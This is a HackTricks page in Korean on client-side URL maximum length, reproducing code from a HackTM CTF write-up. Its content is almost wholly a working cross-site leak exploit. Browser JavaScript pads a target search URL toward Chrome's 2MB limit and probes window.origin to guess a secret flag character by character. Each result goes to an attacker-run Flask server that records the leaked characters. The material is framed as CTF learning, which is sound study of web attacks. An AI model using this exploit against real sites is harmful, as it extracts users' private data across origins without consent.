URL ์ตœ๋Œ€ ๊ธธ์ด - ํด๋ผ์ด์–ธํŠธ ์ธก

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit์—์„œ ๊ฐ€์ ธ์˜จ ์ฝ”๋“œ

<html>
<body></body>
<script>
;(async () => {
const curr = "http://secrets.wtl.pw/search?query=HackTM{"

const leak = async (char) => {
fetch("/?try=" + char)
let w = window.open(
curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2)
)

const check = async () => {
try {
w.origin
} catch {
fetch("/?nope=" + char)
return
}
setTimeout(check, 100)
}
check()
}

const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"

for (let i = 0; i < CHARSET.length; i++) {
leak(CHARSET[i])
await new Promise((resolve) => setTimeout(resolve, 50))
}
})()
</script>
</html>

์„œ๋ฒ„ ์ธก:

from flask import Flask, request

app = Flask(__name__)

CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []

@app.route('/', methods=['GET'])
def index():
global chars

nope = request.args.get('nope', '')
if nope:
chars.append(nope)

remaining = [c for c in CHARSET if c not in chars]

print("Remaining: {}".format(remaining))

return "OK"

@app.route('/exploit.html', methods=['GET'])
def exploit():
return open('exploit.html', 'r').read()

if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ